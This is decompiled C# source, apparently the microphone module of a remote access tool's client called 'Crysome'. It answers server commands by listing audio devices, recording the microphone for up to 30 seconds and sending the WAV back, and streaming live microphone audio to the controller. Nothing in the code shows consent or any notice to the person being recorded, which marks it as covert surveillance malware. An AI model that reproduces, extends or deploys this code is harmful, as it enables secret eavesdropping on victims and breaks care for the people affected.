using System;
using System.Collections.Generic;
using System.IO;
using System.Threading;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using NAudio.Wave;

namespace Crysome.Client.Handlers;

public static class AudioHandlers
{
	private static volatile bool _streamRunning;

	private static WaveInEvent _streamWaveIn;

	private static CrysomeClient _streamClient;

	public static void HandleGetAudioDevices(CrysomeClient client, IPacket packet)
	{
		//IL_008f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0099: Expected O, but got Unknown
		//IL_0037: Unknown result type (might be due to invalid IL or missing references)
		//IL_0041: Expected O, but got Unknown
		Program.Log("[MIC] HandleGetAudioDevices ENTER");
		try
		{
			string[] audioDeviceNames = GetAudioDeviceNames();
			Program.Log("[MIC] GetAudioDeviceNames returned " + ((audioDeviceNames != null) ? audioDeviceNames.Length : 0) + " devices");
			client.SendPacket((IPacket)new AudioDevicesResponsePacket(audioDeviceNames));
			Program.Log("[MIC] HandleGetAudioDevices sent response OK");
		}
		catch (Exception ex)
		{
			Program.Log("[MIC] GetAudioDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
			Program.Log("[MIC] Stack: " + ex.StackTrace);
			try
			{
				client.SendPacket((IPacket)new AudioDevicesResponsePacket(new string[0]));
				Program.Log("[MIC] Sent empty fallback");
			}
			catch (Exception ex2)
			{
				Program.Log("[MIC] Fallback send failed: " + ex2.Message);
			}
		}
	}

	public static void HandleRequestAudio(CrysomeClient client, IPacket packet)
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		//IL_00ea: Unknown result type (might be due to invalid IL or missing references)
		//IL_00f4: Expected O, but got Unknown
		//IL_008e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0098: Expected O, but got Unknown
		Program.Log("[MIC] HandleRequestAudio ENTER");
		try
		{
			RequestAudioPacket val = (RequestAudioPacket)packet;
			int seconds = Math.Max(1, Math.Min(30, val.Seconds));
			int deviceIndex = Math.Max(0, val.DeviceIndex);
			Program.Log("[MIC] RecordMicrophone sec=" + seconds + " idx=" + deviceIndex);
			byte[] array = RecordMicrophone(seconds, deviceIndex);
			Program.Log("[MIC] Record done, " + ((array != null) ? array.Length : 0) + " bytes");
			client.SendPacket((IPacket)new AudioDataPacket(array ?? new byte[0]));
			Program.Log("[MIC] HandleRequestAudio sent OK");
		}
		catch (Exception ex)
		{
			Program.Log("[MIC] RequestAudio EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
			Program.Log("[MIC] Stack: " + ex.StackTrace);
			try
			{
				client.SendPacket((IPacket)new AudioDataPacket(new byte[0]));
			}
			catch
			{
			}
		}
	}

	public static void HandleStartAudioStream(CrysomeClient client, IPacket packet)
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		Program.Log("[MIC] HandleStartAudioStream ENTER");
		try
		{
			StartAudioStreamPacket val = (StartAudioStreamPacket)packet;
			int deviceIndex = Math.Max(0, val.DeviceIndex);
			StartStream(client, deviceIndex);
			Program.Log("[MIC] HandleStartAudioStream OK");
		}
		catch (Exception ex)
		{
			Program.Log("[MIC] StartAudioStream EXCEPTION: " + ex.GetType().Name + " " + ex.Message + " Stack: " + ex.StackTrace);
		}
	}

	public static void HandleStopAudioStream(CrysomeClient client, IPacket packet)
	{
		StopStream();
	}

	public static string[] GetAudioDeviceNames()
	{
		//IL_001b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0020: Unknown result type (might be due to invalid IL or missing references)
		Program.Log("[MIC] GetAudioDeviceNames ENTER");
		try
		{
			List<string> list = new List<string>();
			int deviceCount = WaveIn.DeviceCount;
			for (int i = 0; i < deviceCount; i++)
			{
				WaveInCapabilities capabilities = WaveIn.GetCapabilities(i);
				list.Add(capabilities.ProductName?.Trim() ?? ("Microphone " + i));
			}
			return list.ToArray();
		}
		catch (FileNotFoundException ex)
		{
			Program.Log("[MIC] NAudio DLL missing: " + ex.FileName + " - copy NAudio*.dll next to exe");
			return new string[0];
		}
		catch (Exception ex2)
		{
			Program.Log("[MIC] GetAudioDeviceNames: " + ex2.Message);
			return new string[0];
		}
	}

	private static void StartStream(CrysomeClient client, int deviceIndex)
	{
		//IL_0046: Unknown result type (might be due to invalid IL or missing references)
		//IL_004c: Expected O, but got Unknown
		//IL_0065: Unknown result type (might be due to invalid IL or missing references)
		//IL_006a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0071: Unknown result type (might be due to invalid IL or missing references)
		//IL_007d: Expected O, but got Unknown
		lock (typeof(AudioHandlers))
		{
			if (_streamRunning)
			{
				return;
			}
			_streamClient = client;
			_streamRunning = true;
		}
		try
		{
			WaveFormat waveFormat = new WaveFormat(16000, 16, 1);
			int deviceNumber = ((WaveIn.DeviceCount > 0) ? Math.Min(deviceIndex, WaveIn.DeviceCount - 1) : 0);
			_streamWaveIn = new WaveInEvent
			{
				DeviceNumber = deviceNumber,
				WaveFormat = waveFormat
			};
			_streamWaveIn.DataAvailable += delegate(object s, WaveInEventArgs e)
			{
				//IL_0045: Unknown result type (might be due to invalid IL or missing references)
				//IL_004f: Expected O, but got Unknown
				if (_streamRunning)
				{
					CrysomeClient streamClient = _streamClient;
					if (streamClient != null && streamClient.IsConnected)
					{
						try
						{
							byte[] array = new byte[e.BytesRecorded];
							Array.Copy(e.Buffer, array, e.BytesRecorded);
							_streamClient.SendPacket((IPacket)new AudioStreamChunkPacket(array));
						}
						catch
						{
						}
					}
				}
			};
			_streamWaveIn.StartRecording();
		}
		catch (Exception ex)
		{
			Program.Log("AudioStream: " + ex.Message);
			_streamRunning = false;
		}
	}

	private static void StopStream()
	{
		lock (typeof(AudioHandlers))
		{
			_streamRunning = false;
			try
			{
				WaveInEvent streamWaveIn = _streamWaveIn;
				if (streamWaveIn != null)
				{
					streamWaveIn.StopRecording();
				}
				WaveInEvent streamWaveIn2 = _streamWaveIn;
				if (streamWaveIn2 != null)
				{
					streamWaveIn2.Dispose();
				}
			}
			catch
			{
			}
			_streamWaveIn = null;
			_streamClient = null;
		}
	}

	private static byte[] RecordMicrophone(int seconds, int deviceIndex)
	{
		//IL_000e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0014: Expected O, but got Unknown
		//IL_0033: Unknown result type (might be due to invalid IL or missing references)
		//IL_0038: Unknown result type (might be due to invalid IL or missing references)
		//IL_0040: Expected O, but got Unknown
		//IL_015b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0162: Expected O, but got Unknown
		try
		{
			WaveFormat val = new WaveFormat(44100, 16, 1);
			int deviceNumber = ((WaveIn.DeviceCount > 0) ? Math.Min(Math.Max(0, deviceIndex), WaveIn.DeviceCount - 1) : 0);
			WaveInEvent val2 = new WaveInEvent
			{
				DeviceNumber = deviceNumber
			};
			val2.WaveFormat = val;
			List<byte[]> buffers = new List<byte[]>();
			DateTime dateTime = DateTime.Now.AddSeconds(seconds);
			val2.DataAvailable += delegate(object s, WaveInEventArgs e)
			{
				byte[] array2 = new byte[e.BytesRecorded];
				Array.Copy(e.Buffer, array2, e.BytesRecorded);
				lock (buffers)
				{
					buffers.Add(array2);
				}
			};
			val2.StartRecording();
			while (DateTime.Now < dateTime)
			{
				Thread.Sleep(100);
			}
			val2.StopRecording();
			val2.Dispose();
			byte[] array;
			lock (buffers)
			{
				int num = 0;
				foreach (byte[] item in buffers)
				{
					num += item.Length;
				}
				array = new byte[num];
				int num2 = 0;
				foreach (byte[] item2 in buffers)
				{
					Array.Copy(item2, 0, array, num2, item2.Length);
					num2 += item2.Length;
				}
			}
			MemoryStream memoryStream = new MemoryStream();
			WaveFileWriter val3 = new WaveFileWriter((Stream)memoryStream, val);
			((Stream)(object)val3).Write(array, 0, array.Length);
			((Stream)(object)val3).Flush();
			byte[] result = memoryStream.ToArray();
			((Stream)(object)val3).Dispose();
			return result;
		}
		catch (Exception)
		{
			return CreateSilenceWav(seconds);
		}
	}

	private static byte[] CreateSilenceWav(int seconds)
	{
		//IL_0008: Unknown result type (might be due to invalid IL or missing references)
		//IL_000e: Expected O, but got Unknown
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_001c: Expected O, but got Unknown
		try
		{
			WaveFormat val = new WaveFormat(44100, 16, 1);
			MemoryStream memoryStream = new MemoryStream();
			WaveFileWriter val2 = new WaveFileWriter((Stream)memoryStream, val);
			try
			{
				int num = val.SampleRate * val.BitsPerSample / 8 * val.Channels;
				byte[] array = new byte[Math.Min(num, 88200)];
				for (long num2 = 0L; num2 < (long)num * (long)seconds; num2 += array.Length)
				{
					((Stream)(object)val2).Write(array, 0, (int)Math.Min(array.Length, (long)num * (long)seconds - num2));
				}
			}
			finally
			{
				((IDisposable)val2)?.Dispose();
			}
			return memoryStream.ToArray();
		}
		catch
		{
			return new byte[0];
		}
	}
}
